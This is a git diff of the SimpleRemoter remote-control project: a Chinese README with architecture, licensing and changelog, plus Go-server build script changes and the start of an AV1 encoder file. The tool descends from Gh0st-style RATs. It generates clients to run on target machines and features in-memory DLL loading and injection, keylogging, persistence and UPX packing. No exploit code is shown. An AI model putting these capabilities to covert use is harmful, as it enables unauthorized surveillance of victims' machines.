├─────────────────────────────────────────────────────────────────────────────┤
│ 授權類型 驗證方式 特點 │
│ ───────────────────────────────────────────────────────────────────────── │
│ V2 授權 ECDSA P-256 簽名 支援離線驗證,下級連線數限制 │
│ V1 授權 HMAC + 線上驗證 連線上級伺服器驗證 │
│ 試用版 線上驗證 功能受限,需保持連線 │
└─────────────────────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
主控層
│ │
┌──────────────────┐ ┌──────────────────┐
C++ MFC 主控 Go 主控 │
YAMA.exe (Win/Linux/Mac) │
│ Windows only │ │ Web UI 全平台 │
└────────┬─────────┘ └────────┬─────────┘
└────────────┼──────────────────────────┼─────────────────┘
│ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS
│ 用戶端 │ 用戶端 │ │ 用戶端
│ (DXGI) (X11) │ │ (CG)
└─────────┘ └─────────┘ └─────────┘
```
### 架構優勢
### 多層授權(簡化視圖)
| 特性 | 說明 |
|------|------|
| **層級控制** | 超級使用者可管理任意主控程式,支援無限層級 |
| **完全隔離** | 不同第一層使用者的授權、資料、用戶端完全隔離 |
| **獨立營運** | 第一層使用者可獨立定價、發放授權,打造專屬品牌 |
| **水平擴充** | 單 Master 支援 10,000+ 用戶端,多層架構可達百萬級 |
| **離線支援** | V2 授權支援完全離線驗證,無需依賴上游服務 |
```
超級管理員(授權伺服器)
│ V2 授權 (ECDSA P-256)
第一層主控 ──┬── 第一層主控 ──┬── 第一層主控 ◄── 獨立營運 / 完全隔離
│ V1 │ V1 │ V1
▼ ▼ ▼
下級主控 → 用戶端 (10,000+) → 裝置群
```
### 主控程式Server
| 授權 | 驗證 | 特點 |
|---|---|---|
| V2 授權 | ECDSA P-256 簽章 | 離線驗證、下級連線數限制 |
| V1 授權 | HMAC + 連線驗證 | 連接上級伺服器驗證 |
| 試用版 | 連線驗證 | 功能受限、連線限制(詳見 [合規文件](./docs/Compliance_AntiAbuse.md) |
主控程式 **YAMA.exe** 提供圖形化管理介面:
![主介面](./images/Yama.jpg)
- 基於 IOCP 的高效能伺服器
- 用戶端分組管理
- 即時狀態監控RTT、地理位置、活動視窗
- 一鍵產生用戶端
### 受控程式Client
![用戶端產生](./images/TestRun.jpg)
**執行形式**
| 類型 | 說明 |
|------|------|
| `ghost.exe` | 獨立可執行檔,無外部相依 |
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
| Windows 服務 | 背景執行,支援鎖定畫面控制 |
| Linux 用戶端 | 跨平台支援v1.2.5+ |
| macOS 用戶端 | 跨平台支援v1.3.2+ |
完整說明:[多層授權方案](./docs/MultiLayerLicense.md)
---
@@ -363,62 +291,34 @@ struct FileChunkPacketV2 {
無需編譯,下載即用:
1. **下載發** - 從 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
2. **啟動主控** - 執行 `YAMA.exe`,輸入授權資訊(見下方試用口令)
3. **生用戶端** - 點擊工具列「產生」按鈕,設定伺服器 IP 和連接
4. **部署用戶端** - 將產生的用戶端複製到目標機器執行
5. **開始控制** - 用戶端上線後雙擊即可開啟遠端桌面
1. **下載發** - 從 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下載最新版本
2. **啟動主控** - 執行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`,輸入授權資訊
3. **生用戶端** - 工具列「生成」設定伺服器 IP 和埠
4. **部署用戶端** - 複製到目標機器執行
5. **開始控制** - 用戶端上線後雙擊遠端桌面
> [!TIP]
> 首次測試建議在同一台機器上執行主控和用戶端,使用 `127.0.0.1` 作為伺服器位址。
### 編譯要求
### Go 主控部署VPS
- **作業系統**Windows 10/11 或 Windows Server 2016+
- **開發環境**Visual Studio 2019 / 2022 / 2026
- **SDK**Windows 10 SDK (10.0.19041.0+)
### 編譯步驟
參見 [Web 遠端桌面設定](./docs/WebHTTPS.md)。最小步驟:
```bash
# 1. 複製程式碼(必須使用 git clone不要下載 zip
git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
# 1. 在 VPS 上跑 Go 主控
nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
# 2. 開啟方案
# 使用 VS2019+ 開啟 SimpleRemoter.sln
# 2. nginx 反代 9001 到 HTTPS
# 詳見 docs/WebHTTPS.md
# 3. 選擇組態
# Release | x86 或 Release | x64
# 4. 編譯
# 建置 -> 建置方案
# 3. 瀏覽器開啟 https://yourdomain.com/,登入、新增用戶端
```
**常見問題**
- 相依套件衝突:[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
- 非中文系統亂碼:[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
- 編譯器相容性:[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
### 試用授權v1.2.4+
### 部署方式
#### 內網部署
主控與用戶端在同一區域網路,用戶端直連主控 IP:Port。
#### 外網部署FRP 穿透)
提供 2 年有效期、20 並發連線、僅限內網的試用口令:
```
用戶端 ──> VPS (FRP Server) ──> 本機主控 (FRP Client)
```
詳細設定請參考:[反向代理部署說明](./反向代理.md)
### 授權說明
自 v1.2.4 起提供試用口令2 年有效期20 並行連線,僅限內網):
```
授權方式:按電腦 IP 綁定
主控 IP127.0.0.1
序號12ca-17b4-9af2-2894
密碼20260201-20280201-0020-be94-120d-20f9-919a
@@ -429,278 +329,135 @@ git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
> [!NOTE]
> **多層授權方案**
>
> SimpleRemoter 採用企業級多層授權架構,支援代理商/開發者獨立運營:
> - **離線驗證**:第一層使用者獲得授權後可完全離線使用
> - **獨立控制**:您的下級使用者只連接到您的伺服器,資料完全由您掌控
> - **自由定制**:支援二次開發,打造您的專屬版本
>
> 📖 **[查看完整授權方案說明](./docs/MultiLayerLicense.md)**
> 支援代理商 / 開發者獨立營運:第一層使用者獲得授權後可完全離線使用,下級使用者只連線到您的伺服器。完整說明:[多層授權方案](./docs/MultiLayerLicense.md)
### 編譯
- **C++ 主控 & Windows 用戶端**VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
- **Linux 用戶端**`cd linux && cmake . && make`
- **macOS 用戶端**`cd macos && ./build.sh`
- **Go 主控**`cd server/go && go build ./cmd`
---
## 用戶端支援
## 使用者文件
### Windows 用戶端
**系統要求**Windows 7 SP1 及以上
**功能完整性**:✅功能支援
### Linux 用戶端v1.2.5+
**系統要求**
- 顯示伺服器X11/Xorg暫不支援 Wayland
- 必需套件libX11
- 建議套件libXtstXTest 擴充、libXss閒置偵測
**功能支援**
| 功能 | 狀態 | 實作 |
|------|------|------|
| 遠端桌面 | ✅ | X11 螢幕擷取,滑鼠/鍵盤控制 |
| 遠端終端 | ✅ | PTY 互動式 Shell |
| 檔案管理 | ✅ | 雙向傳輸,大檔案支援 |
| 程序管理 | ✅ | 程序清單、終止程序 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 常駐程式 | ✅ | 雙 fork 常駐化 |
| 剪貼簿 | ⏳ | 開發中 |
| 工作階段管理 | ⏳ | 開發中 |
**編譯方式**
```bash
cd linux
cmake .
make
```
### macOS 用戶端v1.3.2+
**系統要求**
- macOS 10.15 (Catalina) 及以上
- 架構支援Intel (x64) 和 Apple Silicon (arm64) 通用二進位
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
**功能支援**
| 功能 | 狀態 | 實作 |
|------|------|------|
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取VideoToolbox H.264 硬體編碼 |
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
| 遠端終端 | ✅ | PTY 互動式 Shellzsh/bash |
| 檔案管理 | ✅ | 雙向傳輸、V2 協定、大檔案支援 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 分組管理 | ✅ | 持久化設定檔 |
| 程序管理 | ⏳ | 開發中 |
| 剪貼簿 | ⏳ | 開發中 |
**編譯方式**
```bash
cd macos
./build.sh
# 或手動編譯:
# mkdir build && cd build && cmake .. && make
```
| 文件 | 適用對象 | 內容 |
|---|---|---|
| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分鐘首次部署 |
| 📖 [多級網路搭建指南](./docs/NetworkSetup.md) | 需要管理下級的使用者 | 多級網路架構 |
| 📖 [日常使用手冊](./docs/UserManual.md) | 所有使用者 | 全功能詳解 |
| 📖 [代理商營運手冊](./docs/AgentManual.md) | 代理商 / 經銷商 | 下級授權、FRP 設定 |
| 📖 [客製化開發指南](./docs/CustomizationGuide.md) | 技術型客戶 | 品牌客製化、二次開發 |
| 📖 [Web 遠端桌面設定](./docs/WebHTTPS.md) | 行動端 / Go 主控使用者 | HTTPS 反代、網域設定 |
| 📖 [反濫用政策](./docs/Compliance_AntiAbuse.md) | 所有使用方 | 合規邊界、責任劃分 |
| 📖 [反濫用技術措施](./docs/Compliance_TechnicalMeasures.md) | 合規稽核方 | 屏障原始碼位置 + 設計動機 |
---
## 更新日誌
### v1.3.3 (2026.5.10)
### v1.3.5 (2026.5.31)
**Linux/macOS 用戶端深化 & 雙層認證安全 & 跨平台共享程式碼重構**
**硬體編碼擴充H.264 / AV1& 多客戶授權生產化 & FRP 子級自動化**
**新功能:**
- **服務端身分校驗Layer 1**Linux/macOS 用戶端 HMAC-SHA256 校驗服務端身分,未授權服務端無法觸發任何子連線
- **子連線認證Layer 2TOKEN_CONN_AUTH**:所有子連線首包簽章 + clientID 鎖定,解決 NAT/127.0.0.1 路由錯位
- **Linux 用戶端**H.264 硬體編碼(動態載入 libx264、XFixes 游標類型偵測、UTF-8 協議能力位
- **macOS 用戶端**:檔案管理員、遠端終端機(共享 PTYHandler、剪貼簿同步、守護程序模式 (-d)、電源管理、螢幕鎖定/閒置偵測、CGDisplayStream 推送模式最佳化
- **主控**螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者依群組過濾、嵌入式現代終端、自適應螢幕演算法、外部資源覆蓋、群組持久化、Build Dialog 支援產生 macOS 用戶端
**重構:**
- Linux/macOS 用戶端共享程式碼抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread減少約 300 行重複
- **用戶端硬體編碼**:新增 FFmpeg 路徑的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可呼叫 NVENC / Quick Sync / AMF 等 GPU 編碼器;`EncoderFactory` 執行時自動優選
- **靜畫跳編碼**:擷取層比對前後影格,完全相同時跳過編碼與傳輸——硬體編碼器在靜畫時不再被強行餵入相同影格
- **選單驅動的壓縮 / 解壓**:自訂檔案 + 資料夾選擇器(`ZstaPickerDlg`),可從遠端主機直接選混合目錄樹打包或解壓到目標路徑
- **下級主控自動啟動 frp client**:上級簽發 V2 授權時一併下發 frp 設定,子級主控啟動即接通中繼鏈路,無需人工設定 `frpc.toml`
- **合規可裁剪建置**`DISABLE_X264` / `DISABLE_FFMPEG` 編譯開關,可在不動原始碼的前提下產出完全不含 x264 / FFmpeg 的二進位,搭配 `LICENSE-THIRD-PARTY.txt`
**改進:**
- 現代終端 SYSTEM 相容:自動回退到經典終端,資訊列表給出精確原因
- `build.ps1` 新增 `vswhere` 兜底VS 裝在非預設磁碟也能找到)
- 強制 `/source-charset:utf-8 /execution-charset:.936` 解決英語 Windows 編譯中文亂碼
- macOS `install.sh` 來源 binary 優先順序最佳化(命令列 → 同目錄 → build/bin適配分發場景
- **多客戶授權伺服端硬化**`licenses.ini` hot-path 互斥鎖 + 30s 節流,寫入頻率從 0.6 → 0.07 次/秒(外推 100 在線:~160 → ~3.3 次/秒);閉環「預設續期配額消失」的 read-modify-write 競態
- **`licenses.ini` IP 清單 4KB 截斷修復**:分段寫入避免溢出尾部被永久丟棄
- **匯入 SN 按 `BindType` 嚴格校驗**:避免離線版 / 連線版 / 試用版 SN 串庫
- **用戶端 SCLoader 大瘦身**:移除一萬行硬編碼 stub`SCLoader.cpp`),改用主控執行時下發 DLL 注入
- **用戶端 logger 優雅退出**:程序結束時刷出佇列裡的日誌並記錄退出訊號
- **IOCPClient 早期封包防護**`setManagerCallBack` 之前抵達的封包不再觸發空回呼崩潰
- **多顯示器游標位置修正 & MJPEG 錄製翻轉修復**trace cursor 跨螢幕座標系修正MJPEG 上下顛倒回放修正 + 編碼失敗 0 位元組 AVI 殘留清理
- **FRP `privilegeKey` 改用 UTC 時間戳**:跨時區主控 / 中繼 / 用戶端不再因本地時區讓 frp auth 失效
- **Linux 用戶端 `install.sh` / `uninstall.sh`**:補齊一鍵部署 / 解除安裝指令稿
- **Go 伺服端建置管線**`build.ps1` / `build.cmd` 把 Go 主控納入主建置流程
- **Release / Download 連結全面遷移到 Gitea**v1.3.4+ 不再發行到 GitHub
**Bug 修復:**
- V2 檔案傳輸在檔案管理器對話方塊雙向均損壞(上傳 IP 路由錯亂 + 下載 chunk 未分發)
- 現代終端在 SYSTEM 權限下空白WebView2 不支援 LocalSystem
- Linux 用戶端 UTF-8 路徑/作用視窗在服務端亂碼
- 日誌列表表頭點擊錯誤排序到主機列表
- LVM_SETUNICODEFORMAT 後表頭排序失效(補充 HDN_ITEMCLICKW 對應)
- 服務+代理 Release 模式系統匣圖示不顯示
- macOS/Linux 用戶端群組變更後未重發 LOGIN_INFOR
- 檔案對話方塊 map 中野指標導致崩潰
- 重連時未清回呼導致存取已銷毀 handler 崩潰
- MFC 與 Web 遠端桌面工作階段未完全獨立
- macOS 鎖屏狀態遠端桌面啟動時未喚醒顯示器
- MFC 遠端桌面觸控板雙指捲動失效
- Web 檔案管理觸控雙擊不穩:觸控閾值放寬避免誤判拖曳 + 兩次 `click` 模擬實體雙擊;修復跨平台資料夾重新命名 / 點擊無回應
- 向 sub-master 發送 AUTH 時密碼產生路徑錯誤,下級始終認證失敗
- 試用 SN 誤進入 V2 / V1 授權下發分支
### v1.3.4 (2026.5.20)
**Go 主控 & 全平台主控閉環 & Linux/macOS 用戶端剪貼簿**
**新功能:**
- **Go 主控**Go 語言實作的跨平台輕量主控服務Windows / Linux / macOS聚焦於「遠端桌面 + 遠端終端 + 多使用者分級」——不取代 MFC 主控,為需要純 Linux/macOS 落地的運維情境兜底
- **Web 遠端桌面Go 主控)**H.264 → WebSocket → WebCodecs 解碼、1080P @ 20fps、桌面 + 行動端全適配遠端游標同步、Keyboard Lock 防 ESC/F11 誤退、控制態下 F11/Esc 直傳目標
- **Web 遠端終端Go 主控)**xterm.js + PTY/ConPTY 透明轉發、調整尺寸、中斷自動清理面板
- **多使用者體系Go 主控)**:管理員 / 一般使用者分級、按裝置群授權、Challenge-Response 登入、登入限流IP + 使用者名)、不透明 token
- **Linux 用戶端剪貼簿**:基於 xclip / xsel 的雙向剪貼簿同步,支援 `text/uri-list` 檔案路徑
- **macOS 用戶端剪貼簿**:基於 NSPasteboard 的雙向剪貼簿同步,檔案 URL + 舊版 API 相容
**改進:**
- Web 工作階段自適應品質被 clamp 到 H264-only 等級(≥ Good避免 Ultra/HighDIFF/RGB565讓瀏覽器無法解碼
- Linux 用戶端預設 `QualityLevel` 改為 `QUALITY_GOOD`(對齊 Windows/macOS不再請求伺服端自適應
- 登入文字欄位按用戶端能力位條件解碼 UTF-8 / GBK修正德文 / 法文等帶變音符的主機名 / 地理位置亂碼
- 裝置清單穩定排序(按上線時間),避免每次心跳 / WS 推播都洗牌
- RDP 重置按鈕接通到裝置端 `CMD_RESTORE_CONSOLE`
- MFC 主控開啟 Web 遠控工作階段時不再短暫閃一下視窗OnInitDialog 工作階段判定上移)
**Bug 修復:**
- Web 工作階段從全螢幕點關閉後裝置清單點擊失靈fullscreen 子樹規則,`showPage` 統一退全螢幕)
- 用戶端突然中斷後 Web 遠控頁面停留在 "Connected" 永不更新(新增 `device_offline` 通知)
- 多顯示器輪詢導致兩路螢幕子連線同時灌影格,畫面在兩個顯示器間跳變(`BindScreenConn` 退役舊 sub-conn
- Go 主控 `ListDevices` 因 map 迭代隨機化導致清單亂序
### v1.3.3 (2026.5.10)
**Linux/macOS 用戶端深化 & 雙層認證安全**
- 伺服端身份校驗Layer 1Linux/macOS 用戶端 HMAC-SHA256 校驗伺服端身份
- 子連線認證Layer 2TOKEN_CONN_AUTH所有子連線首封簽章 + clientID 釘死
- Linux 用戶端H.264 硬體編碼、XFixes 游標類型偵測、UTF-8 協定能力位
- macOS 用戶端:檔案管理器、遠端終端、剪貼簿同步、常駐程序模式
- 主控螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者按群過濾
- 共用程式碼抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers
### v1.3.2 (2026.5.1)
**macOS 用戶端 & Web 遠端桌面增強**
**新功能:**
- macOS 用戶端支援:全新實現的 macOS 原生用戶端支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
- 觸發器功能:支援主機上線事件觸發自訂操作
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
- DLL 執行增強:參數持久化儲存、支援自動執行設定
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
**改進:**
- Web 遠端桌面手勢最佳化改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
**Bug 修復:**
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
- 修復滑鼠雙擊和遠端桌面切換問題
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
- 全新 macOS 原生用戶端螢幕擷取、H.264 編碼、鍵鼠控制
- Web 遠端桌面游標同步
- 觸發器功能、使用者管理(角色權限)
- DLL 執行增強、遠端桌面輸入法切換
### v1.3.1 (2026.4.15)
**Web 遠端桌面 & 多主控共享增強**
**Web 遠端桌面MFC 主控)& 多主控共享增強**
**新功能:**
- Web 遠端桌面:基於 WebSocket 實現,支援手機/平板透過瀏覽器存取遠端桌面([設定指南](./docs/WebHTTPS.md)
- 撤銷共享選單:支援撤銷已共享給其他主控的用戶端
- 工具列音訊控制:遠端桌面工具列新增系統音訊開關圖示
**改進:**
- 多顯示器停用自適應:用戶端有多個顯示器時自動停用自適應品質
- 狀態列過期日期自動更新:授權續期後狀態列立即重新整理
- 減少無效離線日誌:用戶端不在主機清單時減少離線日誌輸出
- 多層授權自動更新:第二層及以下主控的授權自動同步更新
- 使用提示增強:新增多處操作提示改善使用者體驗
- DLL 快取復用:將 DLL 儲存到登錄檔,下次啟動時直接復用
**Bug 修復:**
- 修復共享用戶端時鍵盤記錄可能無法正常運作的問題
- Web 遠端桌面:基於 WebSocket 實作,手機 / 平板瀏覽器存取
- 多顯示器停用自適應、狀態列到期日期自動更新
- 多層授權自動更新、DLL 快取重用
### v1.3.0 (2026.4.8)
**多層級 FRP 架構 & 品牌定制**
**多層級 FRP 架構 & 品牌客製化**
**新功能:**
- 本地 FRPS 伺服器支援(僅 64 位元):內建 FRP 伺服端,簡化部署
- 多層級架構自動 FRP 整合:下級主控自動取得上級 FRP 設定
- V2 授權下級連線數限制:支援控制下級並發連線數
- 許可證檔案匯入/匯出支援(.lic 格式)
- 過期授權續期支援:無需重新產生許可證
- 增強型硬體 ID (V2):解決 VPS 重複 SN 問題
- MaxDepth 控制:限制分級 Master 層級深度
- 許可證管理增強:配額支援、動態對話框、刪除功能
- IP 定位 API 多提供商回退:提高定位成功率
- UI 品牌定制支援自訂程式名稱、Logo、版權等
- 執行時功能限制:試用版功能限制可設定
- 輸入歷史下拉框:快速選擇歷史輸入
- 產生用戶端新增選項:更多自訂設定
- 支援動態修改專案連結:無需重新編譯更換說明/回饋連結
- 本機 FRPS 伺服器、多層級架構自動 FRP 整合
- V2 授權下級連線數限制、授權檔匯入 / 匯出
- 增強型硬體 ID (V2)、UI 品牌客製化
- 執行時功能限制可設定
**Bug 修復:**
- 修復 RebuildFilteredIndices 的 Use-after-free 崩潰
- 修復 CLock::Lock 中 IOCP 競態條件崩潰 (#215)
- 修復崩潰保護服務清理和代理提升問題
- 修復訊息日誌無限增長導致的潛在崩潰
- 修復 FeatureFlags 引入後 UpperHash 字串長度問題
- 修復用戶端 SN 產生以支援 HWIDVersion 設定
### 更早版本
**改進:**
- 重構 res/ 目錄結構,新增選單圖示
- 過期密碼不再被自動清除
- 保持下級主控與第一層主控的連線穩定
### v1.0.2.9 (2026.3.27)
**網路安全 & 穩定性增強**
**新功能:**
- 網路設定對話框IP 白名單/黑名單管理,即時生效
- 可設定的連線限流DLL 請求限流、IP 封禁閾值可調
- IP 歷史記錄對話框:檢視授權 IP 登入歷史
- 狀態列顯示 MTBF/執行時間和授權到期日期
- 代理崩潰保護5 分鐘內 3 次崩潰自動切換一般模式
- 用戶端搜尋功能Ctrl+F 快速搜尋 IP、位置、電腦名稱
- 自動封禁異常 IP60 秒內超過 15 次連線自動封禁 1 小時
- Proxy Protocol v2 支援FRP 代理後取得真實用戶端 IP
- Linux 剪貼簿同步和 V2 檔案傳輸支援
- 右鍵選單執行用戶端程式
- 多層授權混淆支援
**Bug 修復:**
- 修復 OnUserOfflineMsg 競態條件導致的崩潰
- 修復用戶端請求 FRPC DLL 時 FrpcParam 遺失
- 最大資料封包從 10MB 增加到 50MB
- 支援 mstsc 遠端工作階段讀取使用者登錄檔
- 修復遠端桌面最小化時剪貼簿誤觸發
- 修復操作程序對話框時主控崩潰
- 狀態列主機數量即時更新
- Linux select() 呼叫前重設 timeval
- 授權碼格式驗證,過濾垃圾資料
**改進:**
- 增強授權檢查,新增 IP 封禁提示
- 支援主控程式以使用者權限執行
- 大型 DLL 自動使用 TinyRun 回退方案
### v1.2.8 (2026.3.11)
**郵件通知 & 遠端音訊**
- 主機上線郵件通知SMTP 配置、關鍵字匹配、右鍵快捷添加)
- 遠端音訊播放WASAPI Loopback+ Opus 壓縮24:1
- 多 FRPS 伺服器同時連接支援
- 自訂游標顯示和追蹤
- V2 授權協定ECDSA 簽名)
- 修復非中文 Windows 系統亂碼問題
- Linux 用戶端螢幕壓縮演算法優化
### v1.2.7 (2026.2.28)
**V2 檔案傳輸協定**
- 支援 C2C用戶端到用戶端直接傳輸
- 斷點續傳和大檔案支援(>4GB
- SHA-256 檔案完整性校驗
- WebView2 + xterm.js 現代終端
- Linux 檔案管理支援
- 主機清單批次更新優化,減少 UI 閃爍
### v1.2.6 (2026.2.16)
**遠端桌面工具列重寫**
- 狀態視窗顯示 RTT、幀率、解析度
- 全螢幕工具列支援 4 個位置和多顯示器
- H.264 頻寬優化
- 授權管理 UI 完善
### v1.2.5 (2026.2.11)
**自適應品質控制 & Linux 用戶端**
- 基於 RTT 的智慧品質調整
- RGB565 演算法(節省 50% 頻寬)
- 捲動偵測優化(節省 50-80% 頻寬)
- Linux 用戶端初版發佈
完整更新歷史請檢視:[history.md](./history.md)
v1.2.x 系列(郵件通知、遠端音訊 Opus、V2 授權協定、V2 檔案傳輸、現代 Web 終端 xterm.js、遠端桌面工具列重寫、自適應品質控制、Linux 用戶端初版……)及 2019 年以來的全部演進,請見 [history.md](./history.md)。
---
## 相關專案
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文介面遠端控制
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 經典 Gh0st 實作
---
@@ -712,7 +469,6 @@ cd macos
| **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [問題回報](https://t.me/SimpleRemoter) |
| **PR** | [貢獻程式碼](https://git.simpleremoter.com/) |

View File

@@ -1,6 +1,8 @@
@echo off
:: SimpleRemoter Quick Build Script
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish]
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
:: go-server publish Same, plus UPX --best compression
setlocal enabledelayedexpansion
@@ -18,6 +20,7 @@ if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
echo Unknown argument: %~1
shift
goto :parse_args

103
build.ps1
View File

@@ -15,11 +15,110 @@ param(
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
[switch]$Clean, # Clean before build
[switch]$Publish # Publish mode: rebuild all deps + x64 Release + UPX compress
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
)
$ErrorActionPreference = "Stop"
$rootDir = $PSScriptRoot
$binDir = Join-Path $rootDir "Bin"
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
function Build-GoServer {
param(
[string]$Configuration,
[switch]$Compress
)
Write-Host ""
Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
$goCmd = Get-Command go -ErrorAction SilentlyContinue
if (-not $goCmd) {
Write-Host "WARNING: Go compiler not found in PATH. Skipping Go server build." -ForegroundColor Yellow
Write-Host " Install from https://go.dev/dl/ and ensure 'go' is in PATH." -ForegroundColor DarkGray
return $false
}
Write-Host "Using Go: $($goCmd.Source)" -ForegroundColor Cyan
$goDir = Join-Path $rootDir "server\go"
if (-not (Test-Path $goDir)) {
Write-Host "ERROR: Go source directory not found at $goDir" -ForegroundColor Red
return $false
}
# Sync web assets (mirrors Makefile `sync` target — single source is server/web/index.html)
$webSrc = Join-Path $rootDir "server\web\index.html"
$webDstDir = Join-Path $goDir "web\assets"
if (Test-Path $webSrc) {
if (-not (Test-Path $webDstDir)) { New-Item -ItemType Directory -Path $webDstDir -Force | Out-Null }
Copy-Item -Path $webSrc -Destination (Join-Path $webDstDir "index.html") -Force
}
if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
$outFile = Join-Path $binDir "YamaGo_x64.exe"
# Release strips debug info for smaller binary; Debug keeps symbols.
$ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
Push-Location $goDir
try {
$env:GOOS = "windows"
$env:GOARCH = "amd64"
if ($ldflags) {
& go build -ldflags $ldflags -o $outFile ./cmd
} else {
& go build -o $outFile ./cmd
}
$code = $LASTEXITCODE
} finally {
Pop-Location
}
if ($code -ne 0) {
Write-Host "ERROR: Go build failed (exit $code)" -ForegroundColor Red
return $false
}
$size = (Get-Item $outFile).Length / 1MB
Write-Host "OK: $outFile ($($size.ToString('F2')) MB)" -ForegroundColor Green
# In-place UPX compression. Failure is a warning, not an error — the
# uncompressed binary is still usable, and UPX occasionally refuses on
# certain PE sections.
if ($Compress) {
Write-Host ""
Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
if (-not (Test-Path $upxPath)) {
Write-Host "WARNING: UPX not found at $upxPath — skipping compression" -ForegroundColor Yellow
} else {
$sizeBefore = (Get-Item $outFile).Length / 1MB
Write-Host " Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
& $upxPath --best $outFile
if ($LASTEXITCODE -ne 0) {
Write-Host "WARNING: UPX compression failed, uncompressed binary kept" -ForegroundColor Yellow
} else {
$sizeAfter = (Get-Item $outFile).Length / 1MB
$ratio = (1 - $sizeAfter / $sizeBefore) * 100
Write-Host " After: $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
}
}
}
return $true
}
# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
# Go binary too" (not the full C++ publish flow).
if ($GoServer) {
$ok = Build-GoServer -Configuration $Config -Compress:$Publish
if (-not $ok) { exit 1 }
exit 0
}
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
$msBuildPaths = @(
@@ -72,9 +171,7 @@ elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
$rootDir = $PSScriptRoot
$slnFile = Join-Path $rootDir "YAMA.sln"
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
# Publish mode overrides
if ($Publish) {

View File

@@ -0,0 +1,243 @@
#include "CFFmpegAV1Encoder.h"
#include "common/config.h"
#include "common/logger.h"
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整个实现移出编译单元FFmpeg lib 已在
// CFFmpegH264Encoder.cpp 用同条件链接,此处不重复 #pragma comment
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
#include <libavutil/imgutils.h>
#include <libyuv/libyuv.h>
}
#include <string.h>
